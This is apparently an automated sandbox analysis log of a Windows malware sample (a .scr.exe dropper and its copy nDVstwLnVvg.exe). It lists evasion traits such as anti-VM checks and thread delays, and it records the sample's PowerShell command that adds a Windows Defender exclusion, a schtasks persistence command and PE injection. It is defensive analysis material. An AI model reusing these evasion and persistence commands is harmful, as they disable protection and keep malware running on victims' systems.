Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: MB263350411AE_1.scr.exe PID: 7428, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nDVstwLnVvg.exe PID: 7836, type: MEMORYSTR

Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Memory allocated: EB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Memory allocated: 29E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Memory allocated: 28E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Memory allocated: 8A70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Memory allocated: 9A70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Memory allocated: 9C70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Memory allocated: AC70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Memory allocated: DF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Memory allocated: 28D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Memory allocated: 48D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Memory allocated: 30E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Memory allocated: 3300000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Memory allocated: 30E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Memory allocated: 9060000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Memory allocated: 7920000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Memory allocated: A060000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Memory allocated: B060000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Memory allocated: 1230000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Memory allocated: 30D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Memory allocated: 2DE0000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7645			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1996			Jump to behavior

Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe TID: 7448	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe TID: 7860	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: MB263350411AE_1.scr.exe, 00000006.00000002.2905258445.0000000000CE6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllf
Source: nDVstwLnVvg.exe, 00000007.00000002.1721391107.0000000001533000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\er
Source: nDVstwLnVvg.exe, 0000000C.00000002.2906060230.0000000001336000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe

Code function: 12_2_030B0AB8 LdrInitializeThunk,LdrInitializeThunk,

12_2_030B0AB8

Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe"
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe"			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe

Memory written: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe"	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nDVstwLnVvg" /XML "C:\Users\user\AppData\Local\Temp\tmp1488.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process created: C:\Users\user\Desktop\MB263350411AE_1.scr.exe "C:\Users\user\Desktop\MB263350411AE_1.scr.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nDVstwLnVvg" /XML "C:\Users\user\AppData\Local\Temp\tmp1DC0.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process created: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe "C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Process created: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe "C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe"	Jump to behavior

Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Users\user\Desktop\MB263350411AE_1.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
